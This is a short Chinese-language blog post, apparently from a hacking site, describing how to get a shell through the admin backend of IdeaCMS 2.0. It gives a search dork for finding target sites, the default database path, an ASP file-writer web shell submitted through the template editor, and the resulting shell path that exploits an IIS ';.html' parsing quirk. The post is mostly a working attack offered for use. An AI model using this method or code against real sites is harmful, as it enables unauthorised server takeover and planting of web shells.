IdeaCMS2.0后台拿shell

系统：IdeaCMS2.0
关键字：  inurl:about/indexlist.asp?SortID=
默认数据库：date/Idea_Site.mdb
后台拿shell方法:

下面代码保存HTML 修改URL！
 
HTML代码

---------------------------------------------------------
   
     
     
     
     
     
     
     

     
         
     
       
         
           
           
         
           
         
         
           
         
       

修改模板
文件路径：
<%set fso=server.createobject(ofso)%>    <%path=request("path")%>      <%if path<>"" then%>      <%data=request("dama")%>      <%set dama=fso.createtextfile(path,true)%>      <%dama.write data%>      <%if err=0 then%>      <%="Have fun!"%>      <%else%>      <%="false"%>      <%end if%>      <%err.clear%>      <%end if%>      <%dama.close%>      <%set dama=nothing%>      <%set fos=nothing%>      <%=""%>      <%=""%>      <%=" "%>      <%=server.mappath(request.servervariables("script_name"))%>      <%=" "%>      <%=""%>      <%=""%>      <%=" "%>      <%=""%>

     
     
 

-----------------------------------------------------------------

提交过后shell路径:
/template/ideacms/html/about.asp;.html

阅读(1284) | 评论(0) | 转发(0) |

0

上一篇：21cn游戏频道存在SQL注入

下一篇：千博购物系统QShopNet SQL注入漏洞利用